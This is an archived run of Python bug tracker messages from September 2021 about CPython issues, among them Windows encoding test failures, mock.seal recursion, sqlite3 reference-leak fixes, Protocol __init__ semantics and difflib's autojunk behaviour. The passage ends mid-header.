Date: Sun, 12 Sep 2021 11:25:56 +0000
Subject: [issue25853] Compile error with pytime.h - struct timespec declared
 inside parameter list
In-Reply-To: <1449961790.19.0.27307751032.issue25853@psf.upfronthosting.co.za>
Message-ID: <1631445956.32.0.565891887221.issue25853@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there isn't enough information here for us to do anything about it and there has been no response from the OP to follow-up questions.

----------
nosy: +iritkatriel
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:30:27 2021
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 12 Sep 2021 11:30:27 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
In-Reply-To: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>
Message-ID: <1631446227.47.0.618284404957.issue45176@roundup.psfhosted.org>


Eryk Sun  added the comment:

In Windows, the standard I/O encoding of the spawn_python() child defaults to the process active code page, i.e. GetACP(). In Windows 10, the active code page can be set to UTF-8 at the system or application level, but most systems and applications still use a legacy code page. Python's default can be overridden to UTF-8 for standard I/O via PYTHONIOENCODING, or for all I/O via PYTHONUTF8 or "-X utf8=1". I would recommend using one of these UTF-8 options instead of trying to make a test work with the legacy code page. There is no guarantee, and should be no guarantee, that a filesystem path, which is Unicode, can be encoded using a legacy code page.

----------
nosy: +eryksun

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:39:04 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sun, 12 Sep 2021 11:39:04 +0000
Subject: [issue30212] test_ssl.py is broken in Centos7
In-Reply-To: <1493507734.99.0.744824306698.issue30212@psf.upfronthosting.co.za>
Message-ID: <1631446744.12.0.418124886825.issue30212@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:44:16 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 11:44:16 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631447056.64.0.156563899868.issue45155@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Perhaps it is because "little" is checked first. One call of _PyUnicode_EqualToASCIIId() for "little" and two for "big".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:57:48 2021
From: report at bugs.python.org (Ming Hua)
Date: Sun, 12 Sep 2021 11:57:48 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
In-Reply-To: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>
Message-ID: <1631447868.83.0.731459688388.issue45176@roundup.psfhosted.org>


Ming Hua  added the comment:

Eryk Sun (eryksun) posted:
> Python's default can be overridden to UTF-8 for standard I/O via PYTHONIOENCODING, or for all I/O via PYTHONUTF8 or "-X utf8=1".

FWIW, I did test with "-X utf8" option and it wasn't any better.  Just tested "python.exe -X utf8=1 -m test -W test_cmd_line_script" with 3.10.0 rc2 again, and got 6 errors and 2 failures this way (1 more error than without "-X utf8=1").  There is also this new error message:

0:00:01 [1/1] test_cmd_line_script
Warning -- Uncaught thread exception: UnicodeDecodeError
Exception in thread Thread-60 (_readerthread):
Traceback (most recent call last):
  File "C:\Programs\Python\python310\lib\threading.py", line 1009, in _bootstrap_inner
    self.run()
  File "C:\Programs\Python\python310\lib\threading.py", line 946, in run
    self._target(*self._args, **self._kwargs)
  File "C:\Programs\Python\python310\lib\subprocess.py", line 1494, in _readerthread
    buffer.append(fh.read())
  File "C:\Programs\Python\python310\lib\codecs.py", line 322, in decode
    (result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbb in position 69: invalid start byte

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 08:28:00 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sun, 12 Sep 2021 12:28:00 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631449680.59.0.368648057214.issue45126@roundup.psfhosted.org>


Dong-hee Na  added the comment:


New changeset c78d5ca3806d02e26f9f3fa92ff567f0805eac4c by Erlend Egeberg Aasland in branch 'main':
bpo-45126: Fix ref. leak in `sqlite3.Connection.__init__` (GH-28231)
https://github.com/python/cpython/commit/c78d5ca3806d02e26f9f3fa92ff567f0805eac4c


----------
nosy: +corona10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 08:32:37 2021
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 12 Sep 2021 12:32:37 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
In-Reply-To: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>
Message-ID: <1631449957.04.0.854415381832.issue45176@roundup.psfhosted.org>


Eryk Sun  added the comment:

> FWIW, I did test with "-X utf8" option

I was suggesting to modify the tests to use the UTF-8 mode option in the spawn_python() command line. It doesn't help to run the parent process in UTF-8 mode since it isn't inherited. It could be inherited via PYTHONUTF8, but it turns out that environment variables won't help in this case due to the use of the -E and -I command-line options.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 11:06:19 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Sun, 12 Sep 2021 15:06:19 +0000
Subject: [issue42119] Error when debugging logging.FileHandler subclass
 __init__ method
In-Reply-To: <1603384667.68.0.88562918356.issue42119@roundup.psfhosted.org>
Message-ID: <1631459179.52.0.26641445183.issue42119@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

Changing from not a bug to duplicate of #20853.

----------
resolution: not a bug -> duplicate
superseder:  -> pdb "args" crashes when an arg is not printable

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 11:54:56 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 12 Sep 2021 15:54:56 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631462096.8.0.0916939864092.issue45126@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26712
pull_request: https://github.com/python/cpython/pull/28298

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 14:58:40 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sun, 12 Sep 2021 18:58:40 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631473120.58.0.104215604033.issue45156@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reproduced on 3.11:

>>> foo = mock.create_autospec(Foo)
>>> mock.seal(foo)

^CTraceback (most recent call last):
  File "", line 1, in 
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 2917, in seal
    seal(m)
    ^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 2917, in seal
    seal(m)
    ^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 2917, in seal
    seal(m)
    ^^^^^^^
  [Previous line repeated 645 more times]
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 2911, in seal
    m = getattr(mock, attr)
        ^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 662, in __getattr__
    result = create_autospec(
             ^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 2672, in create_autospec
    mock = Klass(parent=_parent, _new_parent=_parent, _new_name=_new_name,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/iritkatriel/src/cpython-1/Lib/unittest/mock.py", line 416, in __new__
    new = type(cls.__name__, bases, {'__doc__': cls.__doc__})
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
KeyboardInterrupt

----------
nosy: +iritkatriel
versions: +Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 15:03:16 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sun, 12 Sep 2021 19:03:16 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631473396.33.0.604628024027.issue45156@roundup.psfhosted.org>


Irit Katriel  added the comment:

Pdb) list
2916 	        if m._mock_new_parent is mock:
2917 	          try:
2918 	            seal(m)
2919 	          except:
2920 	            breakpoint()
2921 ->	            raise
2922 	
2923 	
2924 	class _AsyncIterator:
2925 	    """
2926 	    Wraps an iterator in an asynchronous iterator.
(Pdb) p m


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 16:42:53 2021
From: report at bugs.python.org (Julian Fortune)
Date: Sun, 12 Sep 2021 20:42:53 +0000
Subject: [issue45081] dataclasses that inherit from Protocol subclasses have
 wrong __init__
In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org>
Message-ID: <1631479373.27.0.214807648277.issue45081@roundup.psfhosted.org>


Julian Fortune  added the comment:

Ian,

`MyProtocol` does not provide an `__init__()`, and thus
```
super().__init__()
```
is calling the `__init__()` from `Protocol`. This results in the `TypeError`.

Simply remove `super().__init__()` to resolve your issue.

This behavior was changed in https://github.com/python/cpython/pull/27545 (see `Lib/typing.py:1384`); I don't see what you are reporting as a regression, I see it as correct behavior that I would expect. Apologies if you feel differently.

Cheers,
Julian

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 17:14:28 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 12 Sep 2021 21:14:28 +0000
Subject: [issue5846] Deprecate obsolete functions in unittest
In-Reply-To: <1240703100.05.0.329458142097.issue5846@psf.upfronthosting.co.za>
Message-ID: <1631481268.62.0.331896443894.issue5846@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26713
pull_request: https://github.com/python/cpython/pull/28299

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 17:29:15 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Sun, 12 Sep 2021 21:29:15 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631482155.98.0.705058757178.issue45156@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
nosy: +sobolevn
nosy_count: 3.0 -> 4.0
pull_requests: +26714
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28300

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 17:38:03 2021
From: report at bugs.python.org (Ian Good)
Date: Sun, 12 Sep 2021 21:38:03 +0000
Subject: [issue45081] dataclasses that inherit from Protocol subclasses have
 wrong __init__
In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org>
Message-ID: <1631482683.67.0.92555652421.issue45081@roundup.psfhosted.org>


Ian Good  added the comment:

Julian,

That is certainly a workaround, however the behavior you are describing is inconsistent with PEP-544 in both word and intention. From the PEP:

> To explicitly declare that a certain class implements a given protocol, it can be used as a regular base class.

It further describes the semantics of inheriting as "unchanged" from a "regular base class". If the semantics are "unchanged" then it should follow that super().__init__() would pass through the protocol to the object.__init__, just like a "regular base class" would if it does not override __init__.

Furthermore, the intention of inheriting a Protocol as described in the PEP:

> Static analysis tools are expected to automatically detect that a class implements a given protocol. So while it's possible to subclass a protocol explicitly, it's not necessary to do so for the sake of type-checking.

The purpose of adding a Protocol sub-class as an explicit base class is thus only to improve static analysis, it should *not* to modify the runtime semantics.

Consider the case where a package maintainer wants to enhance the flexibility of their types by transitioning from using an ABC to using structural sub-typing. That simple typing change would be a breaking change to the package consumers, who must now remove a super().__init__() call.

Ian

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 17:55:40 2021
From: report at bugs.python.org (Mark Roseman)
Date: Sun, 12 Sep 2021 21:55:40 +0000
Subject: [issue42560] Improve Tkinter Documentation
In-Reply-To: <1607020537.02.0.420924180434.issue42560@roundup.psfhosted.org>
Message-ID: <1631483740.74.0.853986910269.issue42560@roundup.psfhosted.org>


Mark Roseman  added the comment:

Would like to throw an idea out for feedback regarding the API reference.

I've done some preliminary work auto-generating documentation via widget introspection. It's missing a lot, has many bugs, but is far enough along to give a sense of what this approach could offer.  

Temporary snapshot is at https://tkdocs.com/tmp-pyref/ (you may need to force-refresh if your browser cached the site's stylesheet). Note that generating .rst files this way shouldn't be much of a stretch so as to fully integrate into the official Python docs.

Thoughts?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 19:12:23 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 12 Sep 2021 23:12:23 +0000
Subject: [issue45177] Use shared test loader when possible when running test
 suite
Message-ID: <1631488343.34.0.878407782528.issue45177@roundup.psfhosted.org>


New submission from Erlend E. Aasland :

Use unittest.defaultTestLoader instead of unittest.TestLoader() when possible, to avoid creating unnecessary many instances.

----------
components: Tests
messages: 401674
nosy: erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Use shared test loader when possible when running test suite
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 19:12:53 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 12 Sep 2021 23:12:53 +0000
Subject: [issue45177] Use shared test loader when possible when running test
 suite
In-Reply-To: <1631488343.34.0.878407782528.issue45177@roundup.psfhosted.org>
Message-ID: <1631488373.19.0.814959986548.issue45177@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
keywords: +patch
pull_requests: +26715
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28301

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 19:29:16 2021
From: report at bugs.python.org (WGH)
Date: Sun, 12 Sep 2021 23:29:16 +0000
Subject: [issue21515] Use Linux O_TMPFILE flag in tempfile.TemporaryFile?
In-Reply-To: <1400231841.29.0.337128735098.issue21515@psf.upfronthosting.co.za>
Message-ID: <1631489356.14.0.845596883578.issue21515@roundup.psfhosted.org>


WGH  added the comment:

> My patch uses O_EXCL. It makes possible to use linkat() to create a path for the temporary file (I didn't try it, but I read that it's possible). I don't know if using O_EXCL should be the default.

I think it is the other way around. From the manual: "If O_EXCL is not specified, then linkat(2) can ..."

----------
nosy: +WGH

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 19:45:46 2021
From: report at bugs.python.org (WGH)
Date: Sun, 12 Sep 2021 23:45:46 +0000
Subject: [issue45178] Support for linking unnamed temporary files into
 filesystem on Linux
Message-ID: <1631490346.44.0.449536820401.issue45178@roundup.psfhosted.org>


New submission from WGH :

In Linux, it's possible to create an unnamed temporary file in a specified directory by using open with O_TMPFILE flag (as if it was created with random name and immediately unlinked, but atomically). Unless O_EXCL is specified, the file can be then linked into filesystem using linkat syscall.

It would be neat if it was possible in Python.

There're a couple of things missing:

1) tempfile.TemporaryFile creates a file with O_EXCL flag, which prevents linking it into filesystem.

2) linkat must be called with AT_SYMLINK_FOLLOW flag (otherwise EXDEV is returned), which is broken right now (#37612)

----------
components: Library (Lib)
messages: 401676
nosy: WGH
priority: normal
severity: normal
status: open
title: Support for linking unnamed temporary files into filesystem on Linux
type: enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 19:47:59 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sun, 12 Sep 2021 23:47:59 +0000
Subject: [issue29521] Minor warning messages when compiling documentation
In-Reply-To: <1486714459.11.0.428886237265.issue29521@psf.upfronthosting.co.za>
Message-ID: <1631490479.53.0.522818109355.issue29521@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 20:01:35 2021
From: report at bugs.python.org (Jason R. Coombs)
Date: Mon, 13 Sep 2021 00:01:35 +0000
Subject: [issue44771] Adopt changes from importlib_resources 5.2
In-Reply-To: <1627526933.52.0.0424131606686.issue44771@roundup.psfhosted.org>
Message-ID: <1631491295.87.0.651580771362.issue44771@roundup.psfhosted.org>


Jason R. Coombs  added the comment:

Reported concern can be addressed in the new issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 20:03:05 2021
From: report at bugs.python.org (Jason R. Coombs)
Date: Mon, 13 Sep 2021 00:03:05 +0000
Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64
 Windows8.1 Non-Debug 3.x
In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org>
Message-ID: <1631491385.02.0.693631012819.issue45078@roundup.psfhosted.org>


Jason R. Coombs  added the comment:

The builder is now passing after the buildbot owner reset the checkout.

----------
resolution:  -> fixed
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 22:02:43 2021
From: report at bugs.python.org (meng_xiaohui)
Date: Mon, 13 Sep 2021 02:02:43 +0000
Subject: [issue45179] List.sort ERROR
Message-ID: <1631498562.98.0.796323679023.issue45179@roundup.psfhosted.org>


New submission from meng_xiaohui <1294886278 at qq.com>:

There is a bug in this method?

L.sort(key=None, reverse=False) -> None
L is an instance of list.

Argument key is a function. If L is in the body of argument key, L is always an empty list in test case, which is wrong

=================
Run this:

F = ['2', '3', '1']
G = ['7', '9', '8']

def key(i):
    print(F)
    print(G)
    res = int(i) + len(F) + len(G)
    return res

G.sort(key=key)
F.sort(key=key)

=================
Actual output:
['2', '3', '1']
[]
['2', '3', '1']
[]
['2', '3', '1']
[]
[]
['7', '8', '9']
[]
['7', '8', '9']
[]
['7', '8', '9']

----------
components: Interpreter Core
messages: 401679
nosy: meng_xiaohui
priority: normal
severity: normal
status: open
title: List.sort ERROR
type: behavior
versions: Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 22:10:19 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 13 Sep 2021 02:10:19 +0000
Subject: [issue45179] List.sort ERROR
In-Reply-To: <1631498562.98.0.796323679023.issue45179@roundup.psfhosted.org>
Message-ID: <1631499019.41.0.774661668907.issue45179@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

Sorry, it is not clear what you think is the bug. What output do you expect?

When I run the code, F and G are correctly sorted.

----------
nosy: +steven.daprano

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 22:15:41 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 13 Sep 2021 02:15:41 +0000
Subject: [issue45179] List.sort ERROR
In-Reply-To: <1631498562.98.0.796323679023.issue45179@roundup.psfhosted.org>
Message-ID: <1631499341.49.0.43816904474.issue45179@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

Wait, are you talking about the list appearing to be empty during the sort? That's expected behaviour and not a bug:

https://docs.python.org/3/library/stdtypes.html#list.sort

I'm going to close this issue as Not A Bug. If the problem is something else, please re-open it with:

- an explanation of what you think the bug is;

- why you think it is a bug;

- a simple test case;

- the output you expect;

- and the actual output.


It is not enough to give the actual output with no explanation for why you think it is wrong.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 23:16:12 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 03:16:12 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631502972.83.0.0482888168039.issue45126@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +26716
pull_request: https://github.com/python/cpython/pull/28302

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 23:16:17 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Mon, 13 Sep 2021 03:16:17 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631502977.56.0.476960244675.issue45126@roundup.psfhosted.org>


Dong-hee Na  added the comment:


New changeset aa6dd54d43dffbdf883c083e361f6ccf8642d66e by Erlend Egeberg Aasland in branch '3.10':
[3.10] bpo-45126: Fix ref. leak in `sqlite3.Connection.__init__` (GH-28231). (GH-28298)
https://github.com/python/cpython/commit/aa6dd54d43dffbdf883c083e361f6ccf8642d66e


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 00:02:54 2021
From: report at bugs.python.org (Nabeel Alzahrani)
Date: Mon, 13 Sep 2021 04:02:54 +0000
Subject: [issue45180] possible wrong result for difflib.SequenceMatcher.ratio()
Message-ID: <1631505774.89.0.445385938596.issue45180@roundup.psfhosted.org>


New submission from Nabeel Alzahrani :

The difflib.SequenceMatcher.ratio() gives 0.3 instead of 1.0 or at least 0.9 for the following two strings a and b: 
a="""
#include 
#include 
using namespace std;
int main() {
   string userWord;
   unsigned int i;
      cin >> userWord;

      
      for(i = 0; i < userWord.size(); i++) {
         if(userWord.at(i) == 'i') {
            userWord.at(i) = '1';
         }
         if(userWord.at(i) == 'a') {
            userWord.at(i) = '@'; 
         }
         if(userWord.at(i) == 'm') {
            userWord.at(i) = 'M';
         }
         if(userWord.at(i) == 'B') {
            userWord.at(i) = '8';
         }
         if(userWord.at(i) == 's') {
            userWord.at(i) = '$';
         }
         userWord.push_back('!');
      }
      cout << userWord << endl;
   return 0;
}
"""

b="""
#include 
#include 
using namespace std;
int main() {
   string userWord;
   unsigned int i;
      cin >> userWord;
      userWord.push_back('!');
      
      for(i = 0; i < userWord.size(); i++) {
         if(userWord.at(i) == 'i') {
            userWord.at(i) = '1';
         }
         if(userWord.at(i) == 'a') {
            userWord.at(i) = '@'; 
         }
         if(userWord.at(i) == 'm') {
            userWord.at(i) = 'M';
         }
         if(userWord.at(i) == 'B') {
            userWord.at(i) = '8';
         }
         if(userWord.at(i) == 's') {
            userWord.at(i) = '$';
         }
   
      }
      cout << userWord << endl;
   return 0;
}
"""

----------
components: Library (Lib)
messages: 401683
nosy: nalza001
priority: normal
severity: normal
status: open
title: possible wrong result for difflib.SequenceMatcher.ratio()
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 00:07:43 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 13 Sep 2021 04:07:43 +0000
Subject: [issue45126] [sqlite3] cleanup and harden Connection and Cursor
 __init__
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631506063.22.0.198762027084.issue45126@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 5d28bb699a305135a220a97ac52e90d9344a3004 by Miss Islington (bot) in branch '3.9':
[3.10] bpo-45126: Fix ref. leak in `sqlite3.Connection.__init__` (GH-28231). (GH-28298)
https://github.com/python/cpython/commit/5d28bb699a305135a220a97ac52e90d9344a3004


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 00:10:47 2021
From: report at bugs.python.org (Tim Peters)
Date: Mon, 13 Sep 2021 04:10:47 +0000
Subject: [issue45180] possible wrong result for difflib.SequenceMatcher.ratio()
In-Reply-To: <1631505774.89.0.445385938596.issue45180@roundup.psfhosted.org>
Message-ID: <1631506247.79.0.0328727194167.issue45180@roundup.psfhosted.org>


Tim Peters  added the comment:

Unfortunately, you're getting hurt by the "autojunk" feature (see the docs). If you turn it off, you'll get a result much more to your liking:

>>> print(SequenceMatcher(None, a, b).ratio())
0.3431803896920176

>>> print(SequenceMatcher(None, a, b, autojunk=False).ratio())
0.9553739786297926

----------
nosy: +tim.peters
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 02:10:42 2021
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 13 Sep 2021 06:10:42 +0000
Subject: [issue17913] stat.filemode returns "-" for sockets and unknown types
In-Reply-To: <1367831480.84.0.461149512803.issue17913@psf.upfronthosting.co.za>
Message-ID: <1631513442.62.0.402826115955.issue17913@roundup.psfhosted.org>


Christian Heimes  added the comment:

Thanks for the ping. The issue has been fixed a long time ago.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 02:16:57 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 06:16:57 +0000
Subject: [issue5846] Deprecate obsolete functions in unittest
In-Reply-To: <1240703100.05.0.329458142097.issue5846@psf.upfronthosting.co.za>
Message-ID: <1631513817.19.0.694569496711.issue5846@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
nosy: +serhiy.storchaka
nosy_count: 4.0 -> 5.0
pull_requests: +26717
pull_request: https://github.com/python/cpython/pull/28303

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:10:10 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:10:10 +0000
Subject: [issue45181] Rewrite loading sqlite3 tests
Message-ID: <1631517010.88.0.220838315131.issue45181@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

The proposed PR rewrites the loading of sqlite3 tests. Instead of explicitly enumerating test modules and test classes in every module, and manually creating test suites, it uses unittest discover ability. Every new test files and test classes will be automatically added to tests.

As a side effect, unittest filtering by pattern works now.

$ ./python -m test.test_sqlite -vk long
test_sqlite: testing with version '2.6.0', sqlite_version '3.31.1'
test_func_return_long_long (sqlite3.test.test_userfunctions.FunctionTests) ... ok
test_param_long_long (sqlite3.test.test_userfunctions.FunctionTests) ... ok

----------------------------------------------------------------------
Ran 2 tests in 0.001s

OK

----------
components: Tests
messages: 401687
nosy: erlendaasland, ghaering, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Rewrite loading sqlite3 tests
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:12:58 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:12:58 +0000
Subject: [issue45181] Rewrite loading sqlite3 tests
In-Reply-To: <1631517010.88.0.220838315131.issue45181@roundup.psfhosted.org>
Message-ID: <1631517178.17.0.63615467236.issue45181@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
pull_requests: +26718
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28304

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:15:44 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:15:44 +0000
Subject: [issue45177] Use shared test loader when possible when running test
 suite
In-Reply-To: <1631488343.34.0.878407782528.issue45177@roundup.psfhosted.org>
Message-ID: <1631517344.32.0.15041556714.issue45177@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

See issue45181. Most of this code is gone.

Also, TestLoader has mutable attribute "errors". I am not sure that it is good idea to share it between unrelated tests.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:36:22 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Mon, 13 Sep 2021 07:36:22 +0000
Subject: [issue45177] Use shared test loader when possible when running test
 suite
In-Reply-To: <1631488343.34.0.878407782528.issue45177@roundup.psfhosted.org>
Message-ID: <1631518582.35.0.331127756511.issue45177@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

> Also, TestLoader has mutable attribute "errors". I am not sure that it is good idea to share it between unrelated tests.

Noted. I'm closing this.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:46:28 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:46:28 +0000
Subject: [issue45182] Incorrect use of requires_zlib in test_bdist_rpm
Message-ID: <1631519188.27.0.751615077153.issue45182@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

requires_zlib is a decorator factory which returns a decorator, not a decorator. It should always be followed by parenthesis. In Lib/distutils/tests/test_bdist_rpm.py it is used improperly, so the corresponding tests were never ran.

----------
components: Tests
messages: 401690
nosy: dstufft, eric.araujo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Incorrect use of requires_zlib in test_bdist_rpm
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep 13 03:48:30 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 13 Sep 2021 07:48:30 +0000
